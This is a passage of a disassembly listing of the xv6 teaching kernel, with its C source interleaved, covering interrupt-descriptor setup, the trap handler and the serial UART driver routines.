80106805: 66 89 45 fa mov %ax,-0x6(%ebp) pd[1] = (uint)p; 80106809: 8b 45 08 mov 0x8(%ebp),%eax 8010680c: 66 89 45 fc mov %ax,-0x4(%ebp) pd[2] = (uint)p >> 16; 80106810: 8b 45 08 mov 0x8(%ebp),%eax 80106813: c1 e8 10 shr $0x10,%eax 80106816: 66 89 45 fe mov %ax,-0x2(%ebp) asm volatile("lidt (%0)" : : "r" (pd)); 8010681a: 8d 45 fa lea -0x6(%ebp),%eax 8010681d: 0f 01 18 lidtl (%eax) } 80106820: 90 nop 80106821: c9 leave 80106822: c3 ret 80106823 <rcr2>: return result; } static inline uint rcr2(void) { 80106823: 55 push %ebp 80106824: 89 e5 mov %esp,%ebp 80106826: 83 ec 10 sub $0x10,%esp uint val; asm volatile("movl %%cr2,%0" : "=r" (val)); 80106829: 0f 20 d0 mov %cr2,%eax 8010682c: 89 45 fc mov %eax,-0x4(%ebp) return val; 8010682f: 8b 45 fc mov -0x4(%ebp),%eax } 80106832: c9 leave 80106833: c3 ret 80106834 <tvinit>: struct spinlock tickslock; uint ticks; void tvinit(void) { 80106834: 55 push %ebp 80106835: 89 e5 mov %esp,%ebp 80106837: 83 ec 18 sub $0x18,%esp int i; for(i = 0; i < 256; i++) 8010683a: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp) 80106841: e9 c3 00 00 00 jmp 80106909 <tvinit+0xd5> SETGATE(idt[i], 0, SEG_KCODE<<3, vectors[i], 0); 80106846: 8b 45 f4 mov -0xc(%ebp),%eax 80106849: 8b 04 85 a0 c0 10 80 mov -0x7fef3f60(,%eax,4),%eax 80106850: 89 c2 mov %eax,%edx 80106852: 8b 45 f4 mov -0xc(%ebp),%eax 80106855: 66 89 14 c5 c0 63 11 mov %dx,-0x7fee9c40(,%eax,8) 8010685c: 80 8010685d: 8b 45 f4 mov -0xc(%ebp),%eax 80106860: 66 c7 04 c5 c2 63 11 movw $0x8,-0x7fee9c3e(,%eax,8) 80106867: 80 08 00 8010686a: 8b 45 f4 mov -0xc(%ebp),%eax 8010686d: 0f b6 14 c5 c4 63 11 movzbl -0x7fee9c3c(,%eax,8),%edx 80106874: 80 80106875: 83 e2 e0 and $0xffffffe0,%edx 80106878: 88 14 c5 c4 63 11 80 mov %dl,-0x7fee9c3c(,%eax,8) 8010687f: 8b 45 f4 mov -0xc(%ebp),%eax 80106882: 0f b6 14 c5 c4 63 11 movzbl -0x7fee9c3c(,%eax,8),%edx 80106889: 80 8010688a: 83 e2 1f and $0x1f,%edx 8010688d: 88 14 c5 c4 63 11 80 mov %dl,-0x7fee9c3c(,%eax,8) 80106894: 8b 45 f4 mov -0xc(%ebp),%eax 80106897: 0f b6 14 c5 c5 63 11 movzbl -0x7fee9c3b(,%eax,8),%edx 8010689e: 80 8010689f: 83 e2 f0 and $0xfffffff0,%edx 801068a2: 83 ca 0e or $0xe,%edx 801068a5: 88 14 c5 c5 63 11 80 mov %dl,-0x7fee9c3b(,%eax,8) 801068ac: 8b 45 f4 mov -0xc(%ebp),%eax 801068af: 0f b6 14 c5 c5 63 11 movzbl -0x7fee9c3b(,%eax,8),%edx 801068b6: 80 801068b7: 83 e2 ef and $0xffffffef,%edx 801068ba: 88 14 c5 c5 63 11 80 mov %dl,-0x7fee9c3b(,%eax,8) 801068c1: 8b 45 f4 mov -0xc(%ebp),%eax 801068c4: 0f b6 14 c5 c5 63 11 movzbl -0x7fee9c3b(,%eax,8),%edx 801068cb: 80 801068cc: 83 e2 9f and $0xffffff9f,%edx 801068cf: 88 14 c5 c5 63 11 80 mov %dl,-0x7fee9c3b(,%eax,8) 801068d6: 8b 45 f4 mov -0xc(%ebp),%eax 801068d9: 0f b6 14 c5 c5 63 11 movzbl -0x7fee9c3b(,%eax,8),%edx 801068e0: 80 801068e1: 83 ca 80 or $0xffffff80,%edx 801068e4: 88 14 c5 c5 63 11 80 mov %dl,-0x7fee9c3b(,%eax,8) 801068eb: 8b 45 f4 mov -0xc(%ebp),%eax 801068ee: 8b 04 85 a0 c0 10 80 mov -0x7fef3f60(,%eax,4),%eax 801068f5: c1 e8 10 shr $0x10,%eax 801068f8: 89 c2 mov %eax,%edx 801068fa: 8b 45 f4 mov -0xc(%ebp),%eax 801068fd: 66 89 14 c5 c6 63 11 mov %dx,-0x7fee9c3a(,%eax,8) 80106904: 80 void tvinit(void) { int i; for(i = 0; i < 256; i++) 80106905: 83 45 f4 01 addl $0x1,-0xc(%ebp) 80106909: 81 7d f4 ff 00 00 00 cmpl $0xff,-0xc(%ebp) 80106910: 0f 8e 30 ff ff ff jle 80106846 <tvinit+0x12> SETGATE(idt[i], 0, SEG_KCODE<<3, vectors[i], 0); SETGATE(idt[T_SYSCALL], 1, SEG_KCODE<<3, vectors[T_SYSCALL], DPL_USER); 80106916: a1 a0 c1 10 80 mov 0x8010c1a0,%eax 8010691b: 66 a3 c0 65 11 80 mov %ax,0x801165c0 80106921: 66 c7 05 c2 65 11 80 movw $0x8,0x801165c2 80106928: 08 00 8010692a: 0f b6 05 c4 65 11 80 movzbl 0x801165c4,%eax 80106931: 83 e0 e0 and $0xffffffe0,%eax 80106934: a2 c4 65 11 80 mov %al,0x801165c4 80106939: 0f b6 05 c4 65 11 80 movzbl 0x801165c4,%eax 80106940: 83 e0 1f and $0x1f,%eax 80106943: a2 c4 65 11 80 mov %al,0x801165c4 80106948: 0f b6 05 c5 65 11 80 movzbl 0x801165c5,%eax 8010694f: 83 c8 0f or $0xf,%eax 80106952: a2 c5 65 11 80 mov %al,0x801165c5 80106957: 0f b6 05 c5 65 11 80 movzbl 0x801165c5,%eax 8010695e: 83 e0 ef and $0xffffffef,%eax 80106961: a2 c5 65 11 80 mov %al,0x801165c5 80106966: 0f b6 05 c5 65 11 80 movzbl 0x801165c5,%eax 8010696d: 83 c8 60 or $0x60,%eax 80106970: a2 c5 65 11 80 mov %al,0x801165c5 80106975: 0f b6 05 c5 65 11 80 movzbl 0x801165c5,%eax 8010697c: 83 c8 80 or $0xffffff80,%eax 8010697f: a2 c5 65 11 80 mov %al,0x801165c5 80106984: a1 a0 c1 10 80 mov 0x8010c1a0,%eax 80106989: c1 e8 10 shr $0x10,%eax 8010698c: 66 a3 c6 65 11 80 mov %ax,0x801165c6 initlock(&tickslock, "time"); 80106992: 83 ec 08 sub $0x8,%esp 80106995: 68 e8 8d 10 80 push $0x80108de8 8010699a: 68 80 63 11 80 push $0x80116380 8010699f: e8 70 e7 ff ff call 80105114 <initlock> 801069a4: 83 c4 10 add $0x10,%esp } 801069a7: 90 nop 801069a8: c9 leave 801069a9: c3 ret 801069aa <idtinit>: void idtinit(void) { 801069aa: 55 push %ebp 801069ab: 89 e5 mov %esp,%ebp lidt(idt, sizeof(idt)); 801069ad: 68 00 08 00 00 push $0x800 801069b2: 68 c0 63 11 80 push $0x801163c0 801069b7: e8 3d fe ff ff call 801067f9 <lidt> 801069bc: 83 c4 08 add $0x8,%esp } 801069bf: 90 nop 801069c0: c9 leave 801069c1: c3 ret 801069c2 <trap>: //PAGEBREAK: 41 void trap(struct trapframe *tf) { 801069c2: 55 push %ebp 801069c3: 89 e5 mov %esp,%ebp 801069c5: 57 push %edi 801069c6: 56 push %esi 801069c7: 53 push %ebx 801069c8: 83 ec 1c sub $0x1c,%esp if(tf->trapno == T_SYSCALL){ 801069cb: 8b 45 08 mov 0x8(%ebp),%eax 801069ce: 8b 40 30 mov 0x30(%eax),%eax 801069d1: 83 f8 40 cmp $0x40,%eax 801069d4: 75 3e jne 80106a14 <trap+0x52> if(proc->killed) 801069d6: 65 a1 04 00 00 00 mov %gs:0x4,%eax 801069dc: 8b 40 24 mov 0x24(%eax),%eax 801069df: 85 c0 test %eax,%eax 801069e1: 74 05 je 801069e8 <trap+0x26> exit(); 801069e3: e8 f1 de ff ff call 801048d9 <exit> proc->tf = tf; 801069e8: 65 a1 04 00 00 00 mov %gs:0x4,%eax 801069ee: 8b 55 08 mov 0x8(%ebp),%edx 801069f1: 89 50 18 mov %edx,0x18(%eax) syscall(); 801069f4: e8 7b ed ff ff call 80105774 <syscall> if(proc->killed) 801069f9: 65 a1 04 00 00 00 mov %gs:0x4,%eax 801069ff: 8b 40 24 mov 0x24(%eax),%eax 80106a02: 85 c0 test %eax,%eax 80106a04: 0f 84 1b 02 00 00 je 80106c25 <trap+0x263> exit(); 80106a0a: e8 ca de ff ff call 801048d9 <exit> return; 80106a0f: e9 11 02 00 00 jmp 80106c25 <trap+0x263> } switch(tf->trapno){ 80106a14: 8b 45 08 mov 0x8(%ebp),%eax 80106a17: 8b 40 30 mov 0x30(%eax),%eax 80106a1a: 83 e8 20 sub $0x20,%eax 80106a1d: 83 f8 1f cmp $0x1f,%eax 80106a20: 0f 87 c0 00 00 00 ja 80106ae6 <trap+0x124> 80106a26: 8b 04 85 90 8e 10 80 mov -0x7fef7170(,%eax,4),%eax 80106a2d: ff e0 jmp *%eax case T_IRQ0 + IRQ_TIMER: if(cpu->id == 0){ 80106a2f: 65 a1 00 00 00 00 mov %gs:0x0,%eax 80106a35: 0f b6 00 movzbl (%eax),%eax 80106a38: 84 c0 test %al,%al 80106a3a: 75 3d jne 80106a79 <trap+0xb7> acquire(&tickslock); 80106a3c: 83 ec 0c sub $0xc,%esp 80106a3f: 68 80 63 11 80 push $0x80116380 80106a44: e8 ed e6 ff ff call 80105136 <acquire> 80106a49: 83 c4 10 add $0x10,%esp ticks++; 80106a4c: a1 c0 6b 11 80 mov 0x80116bc0,%eax 80106a51: 83 c0 01 add $0x1,%eax 80106a54: a3 c0 6b 11 80 mov %eax,0x80116bc0 wakeup(&ticks); 80106a59: 83 ec 0c sub $0xc,%esp 80106a5c: 68 c0 6b 11 80 push $0x80116bc0 80106a61: e8 7c e4 ff ff call 80104ee2 <wakeup> 80106a66: 83 c4 10 add $0x10,%esp release(&tickslock); 80106a69: 83 ec 0c sub $0xc,%esp 80106a6c: 68 80 63 11 80 push $0x80116380 80106a71: e8 27 e7 ff ff call 8010519d <release> 80106a76: 83 c4 10 add $0x10,%esp } lapiceoi(); 80106a79: e8 a7 c5 ff ff call 80103025 <lapiceoi> break; 80106a7e: e9 1c 01 00 00 jmp 80106b9f <trap+0x1dd> case T_IRQ0 + IRQ_IDE: ideintr(); 80106a83: e8 b0 bd ff ff call 80102838 <ideintr> lapiceoi(); 80106a88: e8 98 c5 ff ff call 80103025 <lapiceoi> break; 80106a8d: e9 0d 01 00 00 jmp 80106b9f <trap+0x1dd> case T_IRQ0 + IRQ_IDE+1: // Bochs generates spurious IDE1 interrupts. break; case T_IRQ0 + IRQ_KBD: kbdintr(); 80106a92: e8 90 c3 ff ff call 80102e27 <kbdintr> lapiceoi(); 80106a97: e8 89 c5 ff ff call 80103025 <lapiceoi> break; 80106a9c: e9 fe 00 00 00 jmp 80106b9f <trap+0x1dd> case T_IRQ0 + IRQ_COM1: uartintr(); 80106aa1: e8 60 03 00 00 call 80106e06 <uartintr> lapiceoi(); 80106aa6: e8 7a c5 ff ff call 80103025 <lapiceoi> break; 80106aab: e9 ef 00 00 00 jmp 80106b9f <trap+0x1dd> case T_IRQ0 + 7: case T_IRQ0 + IRQ_SPURIOUS: cprintf("cpu%d: spurious interrupt at %x:%x\n", 80106ab0: 8b 45 08 mov 0x8(%ebp),%eax 80106ab3: 8b 48 38 mov 0x38(%eax),%ecx cpu->id, tf->cs, tf->eip); 80106ab6: 8b 45 08 mov 0x8(%ebp),%eax 80106ab9: 0f b7 40 3c movzwl 0x3c(%eax),%eax uartintr(); lapiceoi(); break; case T_IRQ0 + 7: case T_IRQ0 + IRQ_SPURIOUS: cprintf("cpu%d: spurious interrupt at %x:%x\n", 80106abd: 0f b7 d0 movzwl %ax,%edx cpu->id, tf->cs, tf->eip); 80106ac0: 65 a1 00 00 00 00 mov %gs:0x0,%eax 80106ac6: 0f b6 00 movzbl (%eax),%eax uartintr(); lapiceoi(); break; case T_IRQ0 + 7: case T_IRQ0 + IRQ_SPURIOUS: cprintf("cpu%d: spurious interrupt at %x:%x\n", 80106ac9: 0f b6 c0 movzbl %al,%eax 80106acc: 51 push %ecx 80106acd: 52 push %edx 80106ace: 50 push %eax 80106acf: 68 f0 8d 10 80 push $0x80108df0 80106ad4: e8 ed 98 ff ff call 801003c6 <cprintf> 80106ad9: 83 c4 10 add $0x10,%esp cpu->id, tf->cs, tf->eip); lapiceoi(); 80106adc: e8 44 c5 ff ff call 80103025 <lapiceoi> break; 80106ae1: e9 b9 00 00 00 jmp 80106b9f <trap+0x1dd> //PAGEBREAK: 13 default: if(proc == 0 || (tf->cs&3) == 0){ 80106ae6: 65 a1 04 00 00 00 mov %gs:0x4,%eax 80106aec: 85 c0 test %eax,%eax 80106aee: 74 11 je 80106b01 <trap+0x13f> 80106af0: 8b 45 08 mov 0x8(%ebp),%eax 80106af3: 0f b7 40 3c movzwl 0x3c(%eax),%eax 80106af7: 0f b7 c0 movzwl %ax,%eax 80106afa: 83 e0 03 and $0x3,%eax 80106afd: 85 c0 test %eax,%eax 80106aff: 75 40 jne 80106b41 <trap+0x17f> // In kernel, it must be our mistake. cprintf("unexpected trap %d from cpu %d eip %x (cr2=0x%x)\n", 80106b01: e8 1d fd ff ff call 80106823 <rcr2> 80106b06: 89 c3 mov %eax,%ebx 80106b08: 8b 45 08 mov 0x8(%ebp),%eax 80106b0b: 8b 48 38 mov 0x38(%eax),%ecx tf->trapno, cpu->id, tf->eip, rcr2()); 80106b0e: 65 a1 00 00 00 00 mov %gs:0x0,%eax 80106b14: 0f b6 00 movzbl (%eax),%eax //PAGEBREAK: 13 default: if(proc == 0 || (tf->cs&3) == 0){ // In kernel, it must be our mistake. cprintf("unexpected trap %d from cpu %d eip %x (cr2=0x%x)\n", 80106b17: 0f b6 d0 movzbl %al,%edx 80106b1a: 8b 45 08 mov 0x8(%ebp),%eax 80106b1d: 8b 40 30 mov 0x30(%eax),%eax 80106b20: 83 ec 0c sub $0xc,%esp 80106b23: 53 push %ebx 80106b24: 51 push %ecx 80106b25: 52 push %edx 80106b26: 50 push %eax 80106b27: 68 14 8e 10 80 push $0x80108e14 80106b2c: e8 95 98 ff ff call 801003c6 <cprintf> 80106b31: 83 c4 20 add $0x20,%esp tf->trapno, cpu->id, tf->eip, rcr2()); panic("trap"); 80106b34: 83 ec 0c sub $0xc,%esp 80106b37: 68 46 8e 10 80 push $0x80108e46 80106b3c: e8 25 9a ff ff call 80100566 <panic> } // In user space, assume process misbehaved. cprintf("pid %d %s: trap %d err %d on cpu %d " 80106b41: e8 dd fc ff ff call 80106823 <rcr2> 80106b46: 89 45 e4 mov %eax,-0x1c(%ebp) 80106b49: 8b 45 08 mov 0x8(%ebp),%eax 80106b4c: 8b 70 38 mov 0x38(%eax),%esi "eip 0x%x addr 0x%x--kill proc\n", proc->pid, proc->name, tf->trapno, tf->err, cpu->id, tf->eip, 80106b4f: 65 a1 00 00 00 00 mov %gs:0x0,%eax 80106b55: 0f b6 00 movzbl (%eax),%eax cprintf("unexpected trap %d from cpu %d eip %x (cr2=0x%x)\n", tf->trapno, cpu->id, tf->eip, rcr2()); panic("trap"); } // In user space, assume process misbehaved. cprintf("pid %d %s: trap %d err %d on cpu %d " 80106b58: 0f b6 d8 movzbl %al,%ebx 80106b5b: 8b 45 08 mov 0x8(%ebp),%eax 80106b5e: 8b 48 34 mov 0x34(%eax),%ecx 80106b61: 8b 45 08 mov 0x8(%ebp),%eax 80106b64: 8b 50 30 mov 0x30(%eax),%edx "eip 0x%x addr 0x%x--kill proc\n", proc->pid, proc->name, tf->trapno, tf->err, cpu->id, tf->eip, 80106b67: 65 a1 04 00 00 00 mov %gs:0x4,%eax 80106b6d: 8d 78 6c lea 0x6c(%eax),%edi 80106b70: 65 a1 04 00 00 00 mov %gs:0x4,%eax cprintf("unexpected trap %d from cpu %d eip %x (cr2=0x%x)\n", tf->trapno, cpu->id, tf->eip, rcr2()); panic("trap"); } // In user space, assume process misbehaved. cprintf("pid %d %s: trap %d err %d on cpu %d " 80106b76: 8b 40 10 mov 0x10(%eax),%eax 80106b79: ff 75 e4 pushl -0x1c(%ebp) 80106b7c: 56 push %esi 80106b7d: 53 push %ebx 80106b7e: 51 push %ecx 80106b7f: 52 push %edx 80106b80: 57 push %edi 80106b81: 50 push %eax 80106b82: 68 4c 8e 10 80 push $0x80108e4c 80106b87: e8 3a 98 ff ff call 801003c6 <cprintf> 80106b8c: 83 c4 20 add $0x20,%esp "eip 0x%x addr 0x%x--kill proc\n", proc->pid, proc->name, tf->trapno, tf->err, cpu->id, tf->eip, rcr2()); proc->killed = 1; 80106b8f: 65 a1 04 00 00 00 mov %gs:0x4,%eax 80106b95: c7 40 24 01 00 00 00 movl $0x1,0x24(%eax) 80106b9c: eb 01 jmp 80106b9f <trap+0x1dd> ideintr(); lapiceoi(); break; case T_IRQ0 + IRQ_IDE+1: // Bochs generates spurious IDE1 interrupts. break; 80106b9e: 90 nop } // Force process exit if it has been killed and is in user space. // (If it is still executing in the kernel, let it keep running // until it gets to the regular system call return.) if(proc && proc->killed && (tf->cs&3) == DPL_USER) 80106b9f: 65 a1 04 00 00 00 mov %gs:0x4,%eax 80106ba5: 85 c0 test %eax,%eax 80106ba7: 74 24 je 80106bcd <trap+0x20b> 80106ba9: 65 a1 04 00 00 00 mov %gs:0x4,%eax 80106baf: 8b 40 24 mov 0x24(%eax),%eax 80106bb2: 85 c0 test %eax,%eax 80106bb4: 74 17 je 80106bcd <trap+0x20b> 80106bb6: 8b 45 08 mov 0x8(%ebp),%eax 80106bb9: 0f b7 40 3c movzwl 0x3c(%eax),%eax 80106bbd: 0f b7 c0 movzwl %ax,%eax 80106bc0: 83 e0 03 and $0x3,%eax 80106bc3: 83 f8 03 cmp $0x3,%eax 80106bc6: 75 05 jne 80106bcd <trap+0x20b> exit(); 80106bc8: e8 0c dd ff ff call 801048d9 <exit> // Force process to give up CPU on clock tick. // If interrupts were on while locks held, would need to check nlock. if(proc && proc->state == RUNNING && tf->trapno == T_IRQ0+IRQ_TIMER) 80106bcd: 65 a1 04 00 00 00 mov %gs:0x4,%eax 80106bd3: 85 c0 test %eax,%eax 80106bd5: 74 1e je 80106bf5 <trap+0x233> 80106bd7: 65 a1 04 00 00 00 mov %gs:0x4,%eax 80106bdd: 8b 40 0c mov 0xc(%eax),%eax 80106be0: 83 f8 04 cmp $0x4,%eax 80106be3: 75 10 jne 80106bf5 <trap+0x233> 80106be5: 8b 45 08 mov 0x8(%ebp),%eax 80106be8: 8b 40 30 mov 0x30(%eax),%eax 80106beb: 83 f8 20 cmp $0x20,%eax 80106bee: 75 05 jne 80106bf5 <trap+0x233> yield(); 80106bf0: e8 81 e1 ff ff call 80104d76 <yield> // Check if the process has been killed since we yielded if(proc && proc->killed && (tf->cs&3) == DPL_USER) 80106bf5: 65 a1 04 00 00 00 mov %gs:0x4,%eax 80106bfb: 85 c0 test %eax,%eax 80106bfd: 74 27 je 80106c26 <trap+0x264> 80106bff: 65 a1 04 00 00 00 mov %gs:0x4,%eax 80106c05: 8b 40 24 mov 0x24(%eax),%eax 80106c08: 85 c0 test %eax,%eax 80106c0a: 74 1a je 80106c26 <trap+0x264> 80106c0c: 8b 45 08 mov 0x8(%ebp),%eax 80106c0f: 0f b7 40 3c movzwl 0x3c(%eax),%eax 80106c13: 0f b7 c0 movzwl %ax,%eax 80106c16: 83 e0 03 and $0x3,%eax 80106c19: 83 f8 03 cmp $0x3,%eax 80106c1c: 75 08 jne 80106c26 <trap+0x264> exit(); 80106c1e: e8 b6 dc ff ff call 801048d9 <exit> 80106c23: eb 01 jmp 80106c26 <trap+0x264> exit(); proc->tf = tf; syscall(); if(proc->killed) exit(); return; 80106c25: 90 nop yield(); // Check if the process has been killed since we yielded if(proc && proc->killed && (tf->cs&3) == DPL_USER) exit(); } 80106c26: 8d 65 f4 lea -0xc(%ebp),%esp 80106c29: 5b pop %ebx 80106c2a: 5e pop %esi 80106c2b: 5f pop %edi 80106c2c: 5d pop %ebp 80106c2d: c3 ret 80106c2e <inb>: // Routines to let C code use special x86 instructions. static inline uchar inb(ushort port) { 80106c2e: 55 push %ebp 80106c2f: 89 e5 mov %esp,%ebp 80106c31: 83 ec 14 sub $0x14,%esp 80106c34: 8b 45 08 mov 0x8(%ebp),%eax 80106c37: 66 89 45 ec mov %ax,-0x14(%ebp) uchar data; asm volatile("in %1,%0" : "=a" (data) : "d" (port)); 80106c3b: 0f b7 45 ec movzwl -0x14(%ebp),%eax 80106c3f: 89 c2 mov %eax,%edx 80106c41: ec in (%dx),%al 80106c42: 88 45 ff mov %al,-0x1(%ebp) return data; 80106c45: 0f b6 45 ff movzbl -0x1(%ebp),%eax } 80106c49: c9 leave 80106c4a: c3 ret 80106c4b <outb>: "memory", "cc"); } static inline void outb(ushort port, uchar data) { 80106c4b: 55 push %ebp 80106c4c: 89 e5 mov %esp,%ebp 80106c4e: 83 ec 08 sub $0x8,%esp 80106c51: 8b 55 08 mov 0x8(%ebp),%edx 80106c54: 8b 45 0c mov 0xc(%ebp),%eax 80106c57: 66 89 55 fc mov %dx,-0x4(%ebp) 80106c5b: 88 45 f8 mov %al,-0x8(%ebp) asm volatile("out %0,%1" : : "a" (data), "d" (port)); 80106c5e: 0f b6 45 f8 movzbl -0x8(%ebp),%eax 80106c62: 0f b7 55 fc movzwl -0x4(%ebp),%edx 80106c66: ee out %al,(%dx) } 80106c67: 90 nop 80106c68: c9 leave 80106c69: c3 ret 80106c6a <uartinit>: static int uart; // is there a uart? void uartinit(void) { 80106c6a: 55 push %ebp 80106c6b: 89 e5 mov %esp,%ebp 80106c6d: 83 ec 18 sub $0x18,%esp char *p; // Turn off the FIFO outb(COM1+2, 0); 80106c70: 6a 00 push $0x0 80106c72: 68 fa 03 00 00 push $0x3fa 80106c77: e8 cf ff ff ff call 80106c4b <outb> 80106c7c: 83 c4 08 add $0x8,%esp // 9600 baud, 8 data bits, 1 stop bit, parity off. outb(COM1+3, 0x80); // Unlock divisor 80106c7f: 68 80 00 00 00 push $0x80 80106c84: 68 fb 03 00 00 push $0x3fb 80106c89: e8 bd ff ff ff call 80106c4b <outb> 80106c8e: 83 c4 08 add $0x8,%esp outb(COM1+0, 115200/9600); 80106c91: 6a 0c push $0xc 80106c93: 68 f8 03 00 00 push $0x3f8 80106c98: e8 ae ff ff ff call 80106c4b <outb> 80106c9d: 83 c4 08 add $0x8,%esp outb(COM1+1, 0); 80106ca0: 6a 00 push $0x0 80106ca2: 68 f9 03 00 00 push $0x3f9 80106ca7: e8 9f ff ff ff call 80106c4b <outb> 80106cac: 83 c4 08 add $0x8,%esp outb(COM1+3, 0x03); // Lock divisor, 8 data bits. 80106caf: 6a 03 push $0x3 80106cb1: 68 fb 03 00 00 push $0x3fb 80106cb6: e8 90 ff ff ff call 80106c4b <outb> 80106cbb: 83 c4 08 add $0x8,%esp outb(COM1+4, 0); 80106cbe: 6a 00 push $0x0 80106cc0: 68 fc 03 00 00 push $0x3fc 80106cc5: e8 81 ff ff ff call 80106c4b <outb> 80106cca: 83 c4 08 add $0x8,%esp outb(COM1+1, 0x01); // Enable receive interrupts. 80106ccd: 6a 01 push $0x1 80106ccf: 68 f9 03 00 00 push $0x3f9 80106cd4: e8 72 ff ff ff call 80106c4b <outb> 80106cd9: 83 c4 08 add $0x8,%esp // If status is 0xFF, no serial port. if(inb(COM1+5) == 0xFF) 80106cdc: 68 fd 03 00 00 push $0x3fd 80106ce1: e8 48 ff ff ff call 80106c2e <inb> 80106ce6: 83 c4 04 add $0x4,%esp 80106ce9: 3c ff cmp $0xff,%al 80106ceb: 74 6e je 80106d5b <uartinit+0xf1> return; uart = 1; 80106ced: c7 05 6c c6 10 80 01 movl $0x1,0x8010c66c 80106cf4: 00 00 00 // Acknowledge pre-existing interrupt conditions; // enable interrupts. inb(COM1+2); 80106cf7: 68 fa 03 00 00 push $0x3fa 80106cfc: e8 2d ff ff ff call 80106c2e <inb> 80106d01: 83 c4 04 add $0x4,%esp inb(COM1+0); 80106d04: 68 f8 03 00 00 push $0x3f8 80106d09: e8 20 ff ff ff call 80106c2e <inb> 80106d0e: 83 c4 04 add $0x4,%esp picenable(IRQ_COM1); 80106d11: 83 ec 0c sub $0xc,%esp 80106d14: 6a 04 push $0x4 80106d16: e8 10 d2 ff ff call 80103f2b <picenable> 80106d1b: 83 c4 10 add $0x10,%esp ioapicenable(IRQ_COM1, 0); 80106d1e: 83 ec 08 sub $0x8,%esp 80106d21: 6a 00 push $0x0 80106d23: 6a 04 push $0x4 80106d25: e8 b0 bd ff ff call 80102ada <ioapicenable> 80106d2a: 83 c4 10 add $0x10,%esp // Announce that we're here. for(p="xv6...\n"; *p; p++) 80106d2d: c7 45 f4 10 8f 10 80 movl $0x80108f10,-0xc(%ebp) 80106d34: eb 19 jmp 80106d4f <uartinit+0xe5> uartputc(*p); 80106d36: 8b 45 f4 mov -0xc(%ebp),%eax 80106d39: 0f b6 00 movzbl (%eax),%eax 80106d3c: 0f be c0 movsbl %al,%eax 80106d3f: 83 ec 0c sub $0xc,%esp 80106d42: 50 push %eax 80106d43: e8 16 00 00 00 call 80106d5e <uartputc> 80106d48: 83 c4 10 add $0x10,%esp inb(COM1+0); picenable(IRQ_COM1); ioapicenable(IRQ_COM1, 0); // Announce that we're here. for(p="xv6...\n"; *p; p++) 80106d4b: 83 45 f4 01 addl $0x1,-0xc(%ebp) 80106d4f: 8b 45 f4 mov -0xc(%ebp),%eax 80106d52: 0f b6 00 movzbl (%eax),%eax 80106d55: 84 c0 test %al,%al 80106d57: 75 dd jne 80106d36 <uartinit+0xcc> 80106d59: eb 01 jmp 80106d5c <uartinit+0xf2> outb(COM1+4, 0); outb(COM1+1, 0x01); // Enable receive interrupts. // If status is 0xFF, no serial port. if(inb(COM1+5) == 0xFF) return; 80106d5b: 90 nop ioapicenable(IRQ_COM1, 0); // Announce that we're here. for(p="xv6...\n"; *p; p++) uartputc(*p); } 80106d5c: c9 leave 80106d5d: c3 ret 80106d5e <uartputc>: void uartputc(int c) { 80106d5e: 55 push %ebp 80106d5f: 89 e5 mov %esp,%ebp 80106d61: 83 ec 18 sub $0x18,%esp int i; if(!uart) 80106d64: a1 6c c6 10 80 mov 0x8010c66c,%eax 80106d69: 85 c0 test %eax,%eax 80106d6b: 74 53 je 80106dc0 <uartputc+0x62> return; for(i = 0; i < 128 && !(inb(COM1+5) & 0x20); i++) 80106d6d: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp) 80106d74: eb 11 jmp 80106d87 <uartputc+0x29> microdelay(10); 80106d76: 83 ec 0c sub $0xc,%esp 80106d79: 6a 0a push $0xa 80106d7b: e8 c0 c2 ff ff call 80103040 <microdelay> 80106d80: 83 c4 10 add $0x10,%esp { int i; if(!uart) return; for(i = 0; i < 128 && !(inb(COM1+5) & 0x20); i++) 80106d83: 83 45 f4 01 addl $0x1,-0xc(%ebp) 80106d87: 83 7d f4 7f cmpl $0x7f,-0xc(%ebp) 80106d8b: 7f 1a jg 80106da7 <uartputc+0x49> 80106d8d: 83 ec 0c sub $0xc,%esp 80106d90: 68 fd 03 00 00 push $0x3fd 80106d95: e8 94 fe ff ff call 80106c2e <inb> 80106d9a: 83 c4 10 add $0x10,%esp 80106d9d: 0f b6 c0 movzbl %al,%eax 80106da0: 83 e0 20 and $0x20,%eax 80106da3: 85 c0 test %eax,%eax 80106da5: 74 cf je 80106d76 <uartputc+0x18> microdelay(10); outb(COM1+0, c); 80106da7: 8b 45 08 mov 0x8(%ebp),%eax 80106daa: 0f b6 c0 movzbl %al,%eax 80106dad: 83 ec 08 sub $0x8,%esp 80106db0: 50 push %eax 80106db1: 68 f8 03 00 00 push $0x3f8 80106db6: e8 90 fe ff ff call 80106c4b <outb> 80106dbb: 83 c4 10 add $0x10,%esp 80106dbe: eb 01 jmp 80106dc1 <uartputc+0x63> uartputc(int c) { int i; if(!uart) return; 80106dc0: 90 nop for(i = 0; i < 128 && !(inb(COM1+5) & 0x20); i++) microdelay(10); outb(COM1+0, c); } 80106dc1: c9 leave 80106dc2: c3 ret 80106dc3 <uartgetc>: static int uartgetc(void) { 80106dc3: 55 push %ebp 80106dc4: 89 e5 mov %esp,%ebp if(!uart) 80106dc6: a1 6c c6 10 80 mov 0x8010c66c,%eax 80106dcb: 85 c0 test %eax,%eax 80106dcd: 75 07 jne 80106dd6 <uartgetc+0x13> return -1; 80106dcf: b8 ff ff ff ff mov $0xffffffff,%eax 80106dd4: eb 2e jmp 80106e04 <uartgetc+0x41> if(!(inb(COM1+5) & 0x01)) 80106dd6: 68 fd 03 00 00 push $0x3fd 80106ddb: e8 4e fe ff ff call 80106c2e <inb> 80106de0: 83 c4 04 add $0x4,%esp 80106de3: 0f b6 c0 movzbl %al,%eax 80106de6: 83 e0 01 and $0x1,%eax 80106de9: 85 c0 test %eax,%eax 80106deb: 75 07 jne 80106df4 <uartgetc+0x31> return -1; 80106ded: b8 ff ff ff ff mov $0xffffffff,%eax 80106df2: eb 10 jmp 80106e04 <uartgetc+0x41> return inb(COM1+0); 80106df4: 68 f8 03 00 00 push $0x3f8 80106df9: e8 30 fe ff ff call 80106c2e <inb> 80106dfe: 83 c4 04 add $0x4,%esp 80106e01: 0f b6 c0 movzbl %al,%eax } 80106e04: c9 leave 80106e05: c3 ret 80106e06 <uartintr>: void uartintr(void) { 80106e06: 55 push %ebp 80106e07: 89 e5 mov %esp,%ebp 80106e09: 83 ec 08 sub $0x8,%esp consoleintr(uartgetc); 80106e0c: 83 ec 0c sub $0xc,%esp 80106e0f: 68 c3 6d 10 80 push $0x80106dc3 80106e14: e8 e0 99 ff ff call 801007f9 <consoleintr> 80106e19: 83 c4 10 add $0x10,%esp } 